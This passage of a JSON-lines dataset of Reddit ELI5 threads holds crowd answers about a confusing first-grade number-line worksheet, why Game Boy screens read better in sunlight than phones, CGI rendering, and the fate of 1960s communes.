four basic arithmetic operations (add/subtract/multiply/divide); this is a way of introducing the concept of an \"operation\" in general, using only the counting skills a first grader knows.  \n\nEDIT: wrote out arithmetic operations to eliminate confusion between the asterisk meaning \"skip\" or \"multiplication\".  In case someone is so inclined to be confused over this...\n\nEDIT2: changed \"mathematics\" to \"arithmetic\" in the first line... it is definitely a mathematical concept the worksheet is teaching (operations), but it is not arithmetic.  ", "This problem is making my head hurt.\nI think I have the pattern figured out.\nThe top number (in the square) is the position the curved line starts.\nThe bottom number (in the square) is the position the curved line ends.\nThe middle number (in the circle) is the number of elements between the start and end.\n\nProblem #1\n02\n*3\n06\n\nProblem #2\n02\n*4\n07\n\nProblem #3\n03\n*2\n06\n\nOf course I have no idea if this is what they are expecting.", "My room mate is in the military. I've asked him where he's seen this. He saw it on his first trade qualification course. He's a Communicator Research Operator.", "Woah woah, guys, calm down! This is a number line! Replace 13 with x, \"02\" with x, \"03\" and \"05\" with y and z, and you have a super simple algebra problem. Sorta.\n\n**Now, why do this, you're probably wondering!** **That's a good question and I *think* I may have a good answer.**\n\n**This *might* be trying to teach kids how to think with algebra earlier than they would previously**, which would be pretty awesome to accomplish! Preschoolers can do algebra, after all! [Seriously, they can.](_URL_0_)\n\nWell, they can if you present the problem in a way they can understand.\n\nThat's the issue, here: presentation. The core idea (if my guess is right) is actually very clever! If you teach first graders the idea that \"x\" can \"hide\" a number, they'll probably have an easier time understanding algebra! \n\nHowever, the problem is being presented in a way which could be extremely confusing. \"Hiding\" a number with another number is a tricky idea to get used to. Well, it could be for us, anyway. \n\nKeep in mind that the same could be said for \"hiding\" numbers with letters. Imagine if you've never seen a letter used with math before. It would seem so out of place, and so confusing, and why would there be a letter for math, when letters are for spelling and words? Why is there a letter with numbers?\n\nWouldn't it be easier to understand the idea of hiding numbers without having to overcome this hurdle as well? \n\nWell, that's where using something like \"01\" starts to make sense. \"01\" is easily differentiated from being the same as \"1\"; there's a zero in front of it! When I, as a first-grader, see \"01\", I can think to myself, \"That's where the first number is hiding!\". \n\nHonestly, if they didn't further complicate things by referring to 13 as \"02\", this seems like it would be a really solid way to introduce the idea of representing an unknown number with a variable. \n\nAnyways, I hope that the logic behind this representation starts to make a bit more sense! I'm not sure why the flying fuck they took the idea one step further, but if they didn't, *then* there's a good deal of logic behind it. The entire representation seems confusing to us, but don't assume that your thought process and understanding of the world (and maths) is the same as a first-grader. :)\n\nOh, and also don't assume that the students were thrown into this homework kicking and screaming. If the teacher isn't a complete asshat, he/she probably is giving this homework in relation to what the kids are actually on track for being taught. \n\n\n\n\n", "Honestly, my first thought was a really basic introduction to memory pointers in C.", "i'm fucking stumped, don't have a shitting clue\n\nsource: i'm a second grader", "And to make matters worse, some ~~teachers~~ instructors don't actually *teach* anymore. \"Open your book to page 37, good luck, and ask your parents.\"", "I assume it is a number line.\n\nFollowing standard left to right orientation, it seems as if they want you to count. However, whoever made this is a complete idiot.", "This is what happens when teachers \"teach\" to standardized tests. I bet that teacher copied it from the workbook and handed it out without even reading it first.", "This book ranges pretty damn high on the list of inept ways to do things which i saw in my live..", "The person who wrote this problem simply just misplaced his fingers one over to the left. So he typed 03 instead of 14, and 05 instead of 16 respectively. Similarly, the 02 in the top right is supposed to be 13, and the *3 is supposed to be +4. 13 + 4 = 17. Easy.", "Answers:\n\n1) 43\n\n2) 32\n\n3) 17\n\n4) 87\n\nSource: I am a first grade teacher", "OK as someone taking computer science, that likes math, and loves cryptography, Ill tell you what sense that makes... ZERO\n\nseriously have a conversation with your kids teacher, really, 6 year olds are not suposed to understand that.", "My first grader showed me his homework from his quantum mechanics class. Help!", "Same issue as the Common Core. Likely written by an educrat. ", "I think people are overreacting over what is simply a misprint. Hopefully OP will update us with confirmation of that tomorrow.", "First problem: \n\nCircle \u201d02\" represents the second dot on the line. (Where the arrow originates)\nBox \"*3\" represents how many dots to skip over.\n\n13 - 14 (skip) - 15 (skip) - 16 (skip) - 17\n\n02 *3 = 06\n\n13 + 4 = 17\n", "This is actually a cutting-edge longterm math attitude moulding exercise. What happens is at first the child feels completely fucking confused and demoralized, but then after showing it to a parent and seeing that they are completely fucking confused as well, they learn that there's nothing wrong with being completely fucking confused the first time you encounter something in math that seems to make no fucking sense whatsoever. \n\nThat encourages them to express themselves in the face of academic bullshit, to take stabs at things instead of deferring to authority, to not recoil in horror at the first touch of being intellectually confounded, and generally acts an an antidote to all the praising based on ability instead of effort we do (which leads them to thinking they are brilliant at math and get everything first try until they get to Algebra and/or Calculus, at which point they are total idiots who can't get anything right and shouldn't try to continue studying or seek work in any field that involves half a brain). \n\nI know, it seems like a giant waste of time that is only going to crush your child's esteem and set them off on the wrong track in math just as they're getting started -- but it has been shown in numerous studies to rapidly accelerate the rate at which students grasp that institutional authority is not what it's cracked up to be, teachers don't know nearly as much as they pretend and are just following cookie-cutter lesson plans, and if they really want to learn and understand most subjects they're going to have to learn how to do research and figure it out their own damn selves. \n\nI mean, do you really want a kid who thinks that learning is fun and easy and they should stay in school forever? With student loans for post-graduate work at life-crushing levels and the academic track basically institutionalized slavery, you've really got to think about the deeper life lessons being imparted here, for the sake of your child.", "**OP, can we get a better scan/photo of this?  I'd love to print it out for my office.**", "#1 has the wrong information.  \n\nIt shouldn't be 12, 13, 03, 15, 05.  \n\nIt should be 01, 02, 03, 04, 05.\n\nThe answer  is 02 * 3 = 06  < -- box\n#2 [_13_]  (_+5_) = [_18_]\n#3 [_14_]  (_+3_) = [_17_]", "This looks like signal flow graphs in my controls engineering class....", "#1 = 02,3,17 | #2 = 02,04,18 | #3 = 3,2,17. Needed to break out the pen and paper for that and I'm in my 30's :/ Still might be wrong.\n\nEdit: Showing My terrible approach:\n#1. [02]=13. skip (3) which = 4. final Number [17] Result = [02](3)[17]\n#2. [02]=13. skip (4) which = 5. final Number [18] Result = [02](4)[18]\n#3. [03]=14. skip (2) which = 3. final Number [17] Result = [03](2)[17]\n\n", "The 03 and 05 are a mistake, including the 02 and *3 on the side. It seems like the teacher changed some numbers, and forgot to change others. The paper probably looked liked [THIS](_URL_0_) before... then the 02 on the right representing where the arrow starts, and the *3 referring to how many spaces the arrow jumps.\n\nSo basically, ignore the first assignment. On the top square, write in what number the arrow starts at, in the circle write how many numbers the arrow jumps, and in the square below the bar write what number the arrow points at", "Math teacher here. Don't. Understand. This. At. All.", "Maybe can do an AMA Request for the person that created this book?", "I have a bachelor's in applied mathematics and it was assignments like this which kept me from entering the academic world.  \n\nBasic arithmetic is simple, and easy to learn if you give children something to interact with.  The problem with mathematics as it is taught in schools is how abstract it is, as exemplified by this homework assignment for a 1st grader.  A better way to teach children counting and addition/subtraction would be to give them a set of objects and have them physically count them.  Asking children to perform abstract mathematics is like asking a duck to knit a scarf.\n\nIt would be much easier to give children a set of 13 blue blocks, and a set of 15 red blocks and say, how many more blocks are in this red pile, than the blue pile.\n\nIt really should not be this hard and I am very sorry your child is coming up in arguably the worst set of academic parameters since mandatory schooling's inception.", "Okay so I think I know what that 3 is for, like most people seem to have reasoned out in the thread, 03 and 05 stand for the missing numbers 14 and 16.\n\nSo the question goes from position 02 (13) what number comes after the next 3 in line (14-15-16-X)?\n\nBut seriously this question is so fucked up. Do I put 06 or 17? why didn't they just add 4 instead of this whole moronic set up? Why are they assigning positions as well as numbers on this number line?", "I think it's just an error. \n\nI think the line is supposed to read 1, 2, 3, 4, 5, 6, 7, 8. \n\nBut the 1 and 2 bunched into the same digit making 12 and some sort of auto correct has started listing the rest of the numbers as 13, 14, 15... \n\nThe large numbers were probably added separately and were supposed to be large to help with the problem, they are possible the only two numbers that are correct on this sheet.\n\nQuestion one seems to be pointing to 2 and 6 on the line (but they are labeled as 13 and _ because of the error above.\n\nThat would make question two,  2+5=7\nAnd question three, 3 x 2 =6\n\nI would blame the teacher for not checking what they printed, whatever stupid auto-correct/auto-numbering that 'helped' cause the problem. And possibly the printer. Because, you know. Printers.\n\nEDIT: If as people say, first graders don't do multiplication then the answer to Q1 is 2+3=5, Q2 is 2+5=7 and Q3 is 3+3=6. Either way, it's just an error in labeling the line. Better proof-reading skills needed.", "Like some other people here, I am a mechanical engineer who has helped tutor people in math from ages 8-20. I have no idea, absolutely no clue what this means. I sat here for 10 minutes trying to figure out this terrible display of numbers and operations, and I am absolutely baffled and feel as though my career in mathematics and physics has come to a disgraceful end\n\nHold me... im scared", "So does anyone know what this is?", "Have a math degree. This is nonsense. ", "That is bullshit. I'm a maths teacher of 12 to 18 year olds and that is the biggest pile of dogshit ever. ", "I love all the fancy math in this thread, but what happened here actually is a PRINTING mistake probably resulting from a PDF encoding error.\n\nThe ASCII values for the larger font are indexed with a off-by-one error. If you take every glyph that's in the large font and increment the character ID, the 0's become 1's, the 2's become 3's, and the asterisk becomes a plus sign.\n\n[In other words, the worksheet should have been printed like this.](_URL_0_)", "Not algebra yall, just a software snafu.\n\n[This](_URL_0_) is what was intended.\n\nI think it's parsing the ASCII wrong.  If you add 1 to the value of each digit that doesn't make sense, you'll get what I showed above.\n\n    03 -- >  14\n    05 -- >  16\n    02 -- >  13\n    *3 -- >  +4\n\n[Check here](_URL_2_) and you can see that every value is 1 less than it should be for this to make sense.\n\nThe font size being off only for the confusing values and the * instead of a + is what confirms it for me.\n\nI hope I'm right and that this helps.\n\nEdit: Thanks for the gold kind stranger! Also check out [this response](_URL_1_) that figured it our a few minutes before I did.  That way one of the right answers can reach the top.", "I'm a HS math teacher.  I don't even get what they're asking.  ", "Why are so many top comments deleted? What the fuck mods?", "I thought your First Grader was doing Series and Sequences for a moment there. ", "I wish I could believe this was fake. One time my Mom showed me one of my younger sister's math tests (she was... fourth grade at the time?) where she'd completely bombed one of the questions.\n\nThere we were, a PhD and a college student, both specializing in hard sciences, trying to work out this elementary school math problem. We even had the correct answer in red pen to help us. How the fuck are elementary schoolers expected to learn this? Worse, it's expected that this sort of bullshit will HELP them.\n\nGod the American school system is so broken.", "Guess: There are two number lines that correspond to each other:\n\n    12 13 14 15 16 17 18 (small type)\n    01 02 03 04 05 06 07 (large type)\n\nThe arrow suggests you're doing an operation that goes from 13 to 17 (small type) or from 02 to 06 (large type). The operation on the far right is 02 (large type) *3, which is 06 (large type), but for all I know they might be looking for 17 (small type).\n\nThe later problems don't have a large type at all, so who knows what they want. Maybe just 13+5 = 18. But maybe 02 * 3.5 = 07\n\nOR ANY NUMBER OF OTHER POSSIBILITIES", "It's using \"02\", \"03\", etc as variables and the \"*3\" means \"14\" (or 03) but with the \"1\" in the ten's place struck-out using the star. Therefore, it becomes 13 + 4 = 17, where 17 = 06. Seeing the amount of people this stumped, this is not a very good method of teaching such a basic concept. Stick with Bob taking Sally's apples and the next generation won't murder Mathematicians out of spite. \n\nExample: For the next question, it is 02 + *4 = 07 (13 + *5 = 18).", "Forgive me, I've never seen this teaching approach before so this is a quick and dirty overlook. You have two sets here. Let's call these sets S and T. Now S= {...12, 13, 14, 15, 16, 17, 18,...} and T= {....01, 02, 03, 04, 05,...}. How do I know this? Well, there is a relationship between T and S. You see if you take any given element in S, call it x, you can generate an element in T, call that element y, under the following relation... y=x-11. In mathematics, this is called a mapping from the set S to the set T. (Now, anyone with a mathematics background would immediately feel uncomfortable with the lack or a rigorous founding for the unlisted elements in T and S. Who's to say that S and T must be subsets of N? S could contain anything without a formal denotation of all it's elements. For example, a possible S could be {12, 13, 15, cat, 17.567, banana, 19}. They don't tell us all the elements and they don't state that S should be a subset of a well known mathematical set. Seeing as this is a child's assignment, it's safe to assume S and T are probably meant to be subsets of Z. We'll go with that. :P) Anyway. \n\nSo, you have this operation that is represented in the diagram by the arch between 13 and the unlabeled dot. You're also give the relation to the right... 02 * 3 = ___. Now, putting aside the fact that in the previous paragraph, our reasoning about how to fill out the missing elements in sets S and T completely answers this question (With a solution just by filling in the diagram and examining the operation via the arch. And yes, it's a valid way of demonstrating this.) we have one other problem. That 3 has to be a typo. It should be a 4. Or the arch should be targeting the element to the left of it's current mark. We'll go with the perspective that they meant the operation to be 02 * 4 = ___. Moving on.\n\nWhat is an operation? In this case, a binary operation. Well, it's a mapping itself. Specifically, a binary operation on a set Q is a map which sends elements of the Cartesian product Q x Q to Q. So our operation * takes two elements in T and generates another element in T. What is the relationship specifically? How to you write it symbolically? It doesn't matter. The concept of an operation transcends addition, subtraction, multiplication and addition. While in many cases and with many sets those elementary \"operations\" form operations. (Thanks division, I had to use quotes because of you.) They are not the only operations. Remember. All we need is a set. You can define an operation on a set of dogs if you wanted to. Just as long as it adhered to the mathematical concept above. In this case, the operation described lines up perfectly with what we refer to as addition. (Thanks to Z being a field and T=S=Z.) So, basically, you're adding four to two. You get six. Now the question is, what is six under that mapping we talked about in the first paragraph. Remember, the one between T and S. y=x-11. Well, just plug it in silly.  > . >  6=x-11 = >  x=17.\n\nSo that's it. That's the rigor behind the BS. This problem is annoying to me for many reasons. Besides the obvious _URL_0_'s the lack of explicit definition with regards to the sets in question. All they'd have to do was say that the number lines were subsets of Z. So easy, so sloppy on their part. :( Dat missing rigor. Makes the mathematician in me cry in pain.\n\nSource: I haz math degree and am underutilized in my current job. Plus google is a thing if you need something more than that.", "To those wondering why so many deleted posts - lots and lots of rule breaking, specifically this one:\n\n > Top-level comments are for explanations or related questions only. No low effort \"explanations\", single sentence replies, anecdotes, or jokes in top-level comments.\n\nEvery other comment at the moment is a joke about not understanding it, a complaint about Common Core, or a tangentially related story...\n\nJokes and stories are great fun, and are welcome lower down the comment chain. But top level comments on ELI5 are limited to those that provide and explanation or at least prompt the further explanation. \n\nApologies if it looks untidy for a while as it gets cleaned it - I invite all jokes/stories/Common-Core complaints to be posted below this comment!\n\nHope that helps!", "The answer to question 1 is 17 in the bottom box.\nThe answer to question 2 is as follows: top box 02, middle circle *4 bottom box 18.\nThe answer to question 3 is as follows: top box 03, middle circle *2 bottom box 17.\nThe top box represents the number of dots from the left hand side of the page that the curved arrow originates from (like an index starting at 01), the middle circle represents how many dots are 'jumped over' by the arrow and the bottom box is the actual number on the line (12 to 18 in these examples) where the arrow terminates.\nWhere in the world tortures kids with this?", "My fianc\u00e9's explanation: The 03 and 05 are the number of dots in. In the first example, 02 is where the arrow line starts, *3 is the number of dots in-between and presumably the empty square box should be 06.\n\nSo exercise 2: 02, *4, 07\n\nExercise 3: 03, *2, 06", "I know I'm late to the party, but here's what I think happened:\nIf you imagine the layout of the numbers the typist was using like so:\n\n0 1 2 3 4 5 6 7 8 9 / * + -\n\nyou can see that all errors were made by shifting one space to the left.\n\nWhen typist intended to type 14, 16, 13, and +4, typist typed 03, 05, 02, and *3, respectively... most likely due to not looking at the keyboard, and starting one space to the left of where intended.", "ELI5: why and what are all these removed comments", "Maybe I'm missing something here, but instead of representing the concept of the number 14 with \"03\", couldn't they write it as \"14\"? That works pretty well for most applications.", "I like the ascii solution more. Certain things off by 1 is a lot more palatable than some sort of number skipping math system. ", "There's something wrong with your copy.  The original document (page 55 of [this document](_URL_0_) clearly shows a sensible number line with 14 and 16 where the 03  and 05 are on your copy, and 13 and +4 where the 02 and *3 are.  If I were you, I'd just print out the sane version and let the kid do that one instead.", "I thought the 13 was was supposed to be 1\u20223 meaning\n > 1\u20223(13)=03\n\n > 1\u20225(15)=05\n\nThen with the\n\n > 2\n\n > X3\n\n > \u2014\n\nOn the side I assumed it wanted \n\n1\u20226(16)=6", "This thread has been locked after literally thousands of off topic nonsense posts which were removed by mods.\n\nFor those new to ELI5.  There are some rules regarding comments here.  One of the most important ones (shown on the sidebar) is:\n\n >  Top-level comments are for explanations or related questions only. No low effort \"explanations\", single sentence replies, anecdotes, or jokes in top-level comments."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/xUqjgBP.png", "http://imgur.com/bb1ypW9"], "answers_urls": [[], [], [], ["http://www2.learningtoday.com/corporate/Number-Operations-first-grade.asp"], [], ["http://www.reddit.com/r/explainlikeimfive/comments/205tu9/eli5_this_math_homework_for_my_first_grader/cg08zur", "http://www.reddit.com/r/explainlikeimfive/comments/205tu9/eli5_this_math_homework_for_my_first_grader/cg07dx2"], [], [], [], [], [], [], [], [], ["http://ocw.mit.edu/courses/mathematics/18-781-theory-of-numbers-spring-2012/"], ["http://i.imgur.com/2Z43Nak.png"], [], ["http://imgur.com/7I2cwTM"], [], [], [], [], [], [], [], [], [], ["http://teacherweb.com/MA/Foxborough/WildsK/Spiral-Review.pdf", "http://www.amazon.com/Think-Math-Grade-Spiral-Review/dp/0153424885"], [], [], [], ["https://www.youtube.com/watch?v=UIKGV2cTgqA&amp;feature=youtube_gdata_player"], [], [], [], [], [], [], [], [], ["http://esciencenews.com/articles/2014/03/08/are.you.smarter.a.5.year.old.preschoolers.can.do.algebra"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://i.imgur.com/GKzKjXb.jpg"], [], [], [], [], [], [], [], [], [], ["http://i.imgur.com/IqaSXnB.jpg"], ["http://i.imgur.com/JgIfM7d.jpg", "http://www.reddit.com/r/explainlikeimfive/comments/205tu9/eli5_this_math_homework_for_my_first_grader/cg07c4q", "http://en.wikipedia.org/wiki/Ascii#ASCII_printable_characters"], [], [], [], [], [], [], ["error.It"], [], [], [], [], [], [], [], ["https://980a5645-a-62cb3a1a-s-sites.googlegroups.com/site/amymody/SpiralReview.pdf?attachauth=ANoY7cqlFl2CReKIRc9XmKRbvaRhC0gtTNVMpbtnUnswClZRHy8Pnn5UStQxCXX3BriNaPrIJNBSkhbKv_p7B3TBaPWnqLPgSCubjwr78tJOweW72CQrzsAwt9PAtOvhrvwrLkGzpi_4GPBPpUXbaXmqQZVRkI7BQh30L4IzIEg0RTc08Jev-updhaFHZOzAJL9DR5kfbV7O8PjbTdMwmRXBaj25yjBLrw%3D%3D&amp;attredirects=0"], [], []]}
{"q_id": "9gmuc7", "title": "why did going outside with a game boy (not backlit) make it easier to see the screen, but going outside with a phone make it harder?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9gmuc7/eli5_why_did_going_outside_with_a_game_boy_not/", "answers": {"a_id": ["e659sfc", "e659wlx", "e65a8bx", "e65khcb", "e65uort", "e65y249", "e662j9s", "e66arlm", "e66fs11", "e66jmhx", "e66k3i8", "e66ru1h", "e66u51x", "e6716xi"], "score": [12546, 269, 31, 133, 12, 10, 3, 4, 2, 5, 2, 2, 2, 3], "text": ["Gameboy and calculator screens reflect light, just like how every other normal object works. Thus, just like any object, the more light you have shining on it, the better you can see it. Just like shining a light on a book makes it easier to read at night.\n\nPhone screens, on the other hand, *generate* light. Having outside light shining onto the phone screen kinda overpowers the phone's lights a bit, making it harder to see. Just like how having a ton of lights in the city overpowers the incoming starlight, making city nighttimes look black and starless.\n\nEdit; holy shit thanks for the updoots", "The phone is designed so you can read the screen using the backlight, but in the presence of another light that's brighter than the phone (such as the Sun) the backlight can no longer do its job.\n\nCalculators, watches and older gameboys were designed without a backlight, so they have a reflective layer that is designed to rely on light from an outside source. That's why attachments could be used that shine a light on the screen to help you see. The original version of the GBA SP also used the same type of screen and had an integrated \"front light\" to allow you to play in the dark.", "Game Boy screens were designed to reflect light. It's like how if you go into a dark room with a mirror, it will be hard to see. If you go into the sun, the mirror will reflect more light.\n\nMeanwhile, backlit screens on phones emit light. It's like how if you go into a dark room, the light will be the brightest thing, but if you go into the sun, it will appear washed out.\n\nThe reason why this happens is because when it's dark, your pupils (eyes) open up to allow more light to enter. It matches the brightness of the brightest object, which is the screen you are looking at. When it's bright due to the sun, your pupils close up and allow less light to enter. This means very little light from the screen can get in and it seems dark by comparison.\n\nI think the Game Boy Advance SP (or one of them) used to allow users to toggle the backlight for this reason.", "Gameboy devices used transflective displays, so they reflect light as well as emit it.\n\nThe majority of phone screens are just transmissive (only generate light)\n\n_URL_0_\n\nPhones don't use transflective displays because they're more expensive and produce lower quality colors", "Gameboy and digital watches rely on light around you to see what's on the screen.  The black pixels are there to keep light from going past and bouncing off the grey background back to your eyes.\n\nLCD phones rely on a lightbulb/tube/LED behind the screen glowing to show you what's on the screen.\n\nThe bright sun makes it great for Gameboy and the black on grey LCD watches but the sun is brighter than those light bulb/tubes behind the LCD screens on phones so it gets washed out.\n", "Gameboys, like many phones, use LCD screens. Without going into the technical details, all LCD screens need a light source shining from behind the display. There's two ways to do this:\n\n1. Put a light globe (or fluorescent tube or LED) behind the screen (ie phones). Light comes out of the light globe, through the screen and into your eyes.\n\n2. Put a mirror behind the screen (ie gameboy). Light goes into the screen from the sun or whatever,  bounces off the mirror and then comes back through the screen into your eyes.\n\nWhen you go outside, it's really bright so your pupils contact and you can't see dim lights any more. LCD screens become too dim to read unless you increase the brightness of the back light. With a mirror as the backlight, this isn't a problem. In bright sun, more light is going in and reflecting off the mirror, meaning a brighter display. With an actual light source as the backlight, you need to actually make the light source behind the screen be brighter. Some phones do this automatically, but a lot don't. Those phones are hard to use in bright sunlight.\n\nAlso, there are other types of screens that don't use backlighting, instead the screen itself glows. They have the same problem, when you go outside you can only see really bright objects, so your screen becomes unusable unless it knows to start glowing brighter. ", "New Phone screens have backlights behind the screen which does not reflect light.  Whereas old LCD screens have reflective surfaces behind the screens.", "I mean, your title even explains it; Gameboys weren't backlit and needed and external light source to be visible. Phones are the opposite so the inverse is true; they get less visible with more ambient light", "Gameboy was simple monochrome LCD. Because it wasn't backlit, it had a reflective gray background, like old LCD watches did, so that the darkened LCD would cast a shadow on something. They were meant to be looked at in light.\n\nEven in bright light, the LCD still cast a shadow, leaving blackness behind. \n\nThese days the screens (color LCD) *are* backlit, mainly because color LCD looks like shit on a silver background. They *want* to be able to provide both black *and* bright white, rather than just black and whatever. Not only that, but each pixel is really three pixels and each one has a color filter (monochrome LCDs don't have that and don't care). So there *has* to be a bright backlight so that you can see white, bright red, etc. If you did it with a silver background, the colors would all be dark and muted -- mainly because you'd be looking at the \"off\" / \"white\" pixels through a color filter *twice* -- once when the light shines through the filter, and *again* when the light reflects off the silvery background and *back* through the color filter to your eye.\n\nSo the basic difference is that monochrome LCDs *need* outside light because they depend on that light being reflected for you to see anything at all. Meanwhile, color LCD *doesn't* want that light and wants to depend on the backlighting for better color control. \n\nThe whole reason it's *harder* to see a color LCD in outdoor light is because the outside light weakens the contrast with the LCD backlight. That doesn't happen with monochrome because the outside light effectively *is* the backlight!", "Different screen tech. Reflective vs Transmissive. Gameboy used a passive reflective display, meaning it planned on selecticely bouncing ambient light to your eyes. Your phone is a transmissive display, which is designed only to use a backlight as its light source. The reflective screen is just like \"more light to use!\", While the phone's transmissive display is like \"damn, more light to compete with\".", "I\u2019m not sure what OP is talking about. I grew up in a family that did sports and I was always dragged around as a younger sibling. I brought. My Gamboy and Gamecom with me everywhere. If I was I. The sunlight I couldn\u2019t see shit. I had. To find an oddly shaded but bright area. It was hell. Do you know how hard it is to play Killer Instinct on Gameboy with shitty batteries?  I ended up playing the game by audio cues because I was stuck at the baseball diamonds my entire summer. \n\nMessage to the parents out there who favorite the kids who play sports for the kids who want to be in imaginary worlds...fuck you.", " > why did going outside with a Game Boy (not backlit) make it easier to see the screen, but going outside with a phone make it harder?\n\nYou kind of answered your own question there.\n\nIf you'd have added just one more word, you'd have totally answered your own question:\n\n > why did going outside with a Game Boy (not backlit) make it easier to see the screen, but going outside with a phone (BACKLIT) make it harder?\n\nThe Gameboy doesn't provide it's own light, it needs an outside light source to be seen. A phone does provide it's own light, and the super-duper-bright-ass sun drowns out that light and makes it hard to see, like holding a candle in front of a headlight.", "Phones use a backlight and light is a relative thing meaning light can only be bright if the surrounding light isn't as intense. So since a front lit screen like a game boy reflects the light of the sun, which is strong, while a phone makes it's own light. Compared to the phones own light, the sun is a lot stronger.", "When you turn off the device, what colour is the screen?\n\nwell, the gameboy is a light grey LCD, and the phone is almost pitch black.\n\nOk, and what about the reflection of the screen, is there much reflection?\n\nIn the gameboy there is a reflection but it isn't as sharp as a phone screen, which almost looks like a black mirror.\n\nNow, when you're outside with the sun shining, the gameboy screen will reflect the light from under the coloured pixels, so imagine that light that \"comes\" from it is actually the same sunlight that reflect out of it will show the colour of the pixels. Your smartphone, on the other hand, has a black screen, so the sunlight won't reflect after they went in, behind the pixels, actually it'll reflect out of the front, showing you a mirror from your surrounding, and the colours of the pixels can only be shows from the smartphone's own backlight, which also isn't as bright as the sun seen from earth.\n\nSo basically, one of these was engineered to work with outside light sources, while the other one was engineered to work despite of outside light sources."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.ecnmag.com/article/2012/06/what-happened-transflective-displays"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "88a0hh", "title": "what is rendering in cgi", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/88a0hh/eli5_what_is_rendering_in_cgi/", "answers": {"a_id": ["dwykrm4", "dwizdk4", "dwizhly"], "score": [2, 3, 2], "text": ["The CGI is acronym for Computer Generated Imagery. In a general sense what ever image or artwork you generated using a computer and a software as a platform to generate it, is called computer generated imagery.\n\nThe way of generating an image using a computer may be different. Photoshop, Corel, Flash, Maya, Max these are some popular software that help you generate images. So, it is a broad term used generally for computer generated images. But in the industry, people more often use CGI as a image generated by a 3D package as a common understanding.\n\nSo, now knowing what CG is, becomes obvious. Although the acronym for CG is Computer Generated but again people use it interchangeably with CGI as adding word imagery doesn\u2019t seem to make a big difference, as its all understood that computer will generated image or series of image as visual.\n\nNow comes the 3D Animation. 3D animation is a module of CGI that means, 3D Animation is a process that is used where the CGI is meant to be used in conjunction with a motion picture (video, movies etc). \n\n3D animation is done by animating the controllers of a CG model in a way that it looks realistic (generally for live action movies) as in Iron Man, character of Hulk was CG and was 3D animated; or cartoonish (For kids and cartoon series) as in The Cars from Disney; or sometimes they use cartoonish Animation for live action movies too as in Smurfs.\n\nExample - In the Harry Potter Movies, Lord Voldemort was supplied with a CG nose (Computer Generated Nose) but the nose was animated using 3D Animation to make it look more organic during expressions.\n\nSo you can see in above example 3D animation was a part of CGI that helped in adding a more realistic feel in CGI for the CG nose.", "On the computer, the animal is just lines of code. Instructions for generating objects, where those objects are located, and what parts of objects can be seen, and such.\n\nFor example the information needed to draw a sphere is just two pieces: a point in space plus a radius.\n\nRendering is the act of taking all of that information and actually constructing what the seen looks like (from a certain point of view, with given lighting, etc.)\n\nRendering can take a long time, depending on the complexity of the scene. A movie has 24 frames per second and it can take anywhere from hours to a few days to render a single frame.", "Rendering is the process of making your final image of whatever you're working on, with all of the lighting, reflectivity, textures, etc applied. When working on a model, you're not applying many of any of these things, and working in a mode where you see things that won't be rendered, like 'helper objects' that make it easier to animate, and the joints and bones of the skeleton that you use to animate parts of a figure, and the objects themselves will be at a much lower resolution than the final render, otherwise it would take a ton of resources and time just to move something one frame."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3bkhbh", "title": "whatever happened to the communes of the 60s and 70s?", "selftext": "Did their members just leave, or did they have massive falling outs?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3bkhbh/eli5whatever_happened_to_the_communes_of_the_60s/", "answers": {"a_id": ["csn06kw", "csn08nx"], "score": [8, 20], "text": ["Aha! At last something I know a little bit about, at least in Vermont.\n\nThe hippies came in through the late 1960s and early 1970s, with the idea of making a living \"close to the earth\". Being self sufficient. In tune with Mother Nature. They found they could buy sone farms cheaply, and did so. There was a problem, however. The farms that were going cheap were farms where it had become impossible to earn a living. Hill farms, with crappy soil, poor drainage and subject to the universal Vermont curses of a very short growing season and distance from markets.\n\nThe farmers who sold out (and were mostly delighted to get out) had lived lives of 365 days of 14 to 16 hours per day, no time off and no assurance of earning a living for all that work. 10 or 20 acres of river bottom land might be all that made tge difference between making it and failing. Hard, grueling work was not the issue - that was assumed - but one or two bad years and you were sunk.\n\nYou had to have alternative sources of income. Selling timber (the second most deadly job, right after deep sea fishing). Maybe trying to run a B & B (for the three\nmonths a year that could be possible, if you weren't near a ski area.) Most didn't.\n\nSo here come these long haired young kids with cash, you bailed out and went to work on the line at the new IBM plant, or at GE, and were damn glad of it.\n\nThe hippies settled in. No doubt the summer was great, and the fall. The winter arrived, and they discovered how much wood it takes to keep a drafty old farmhouse above freezing. (Hint:a lot. And a lot more if you hadn't cut, split and covered a year earlier)\n\nEven worse, mud season arrives. Vermont doesn't really have spring, with everything blooming and birds chirping. We have mud. The rule of thumb is \"don't plant outside until Memorial Day, because you can still get a killer frost until then.\" After Memorial Day, you are in an arms race with the weeds. Weeds win, unless you devote hours of backbreaking labor to fighting them.\n\nFew of the hippies would or could work that hard or relentlessly. Most drifted off and became, oh, silversmiths or aromatherapists, or Bernie Sanders, or Ben and Jerry, or whatever - and greatly enriched the cultural landscape of Vermont. The few that stuck it out - and it was almost never as a commune, almost always as your basic nuclear family - were indistinguishable from their Yankee neighbors in a decade or two: pessimistic, concerned about the weather... and working like dogs to survive.\n\nTL:DR:communes don't work if you have to struggle to survive all the time.", "They just failed as people grew up or grew disillusioned. Except for the few that didn't.\n\nBut it's not that those that survived went away, its that nobody made any new ones and the old ones aren't exactly out trying to \"increase market share\" or whatever.\n\nThe real problem is that \"communism\" (literally where we get both words) is the perfect system of government as long as normal people are _not_ involved, or as long as there aren't too many normal people involved. One of the core tenants is that each person will find the job or jobs that best suit and fulfill them as an individual and then do that happily essentially for the rest of their lives.\n\nOn the average the number of people who find fulfillment being sewer workers and trash men is far smaller than the number of sewer workers and trash men a given community needs. That's why we pay these workers a lot of money for a fairly simple skill.\n\nSo with a small commune of really committed people the \"family dynamic\" kicks in. The fulfillment of taking out the trash is that its helping all the other helpful people.\n\nBut it only takes one spiteful or lazy person to poison a small community. One freeloader and the seeds of dissent are sown. Now all children are freeloaders but that's expected. And all children move up or move out, which is also expected. But if one of the elders who entered as a peer goes 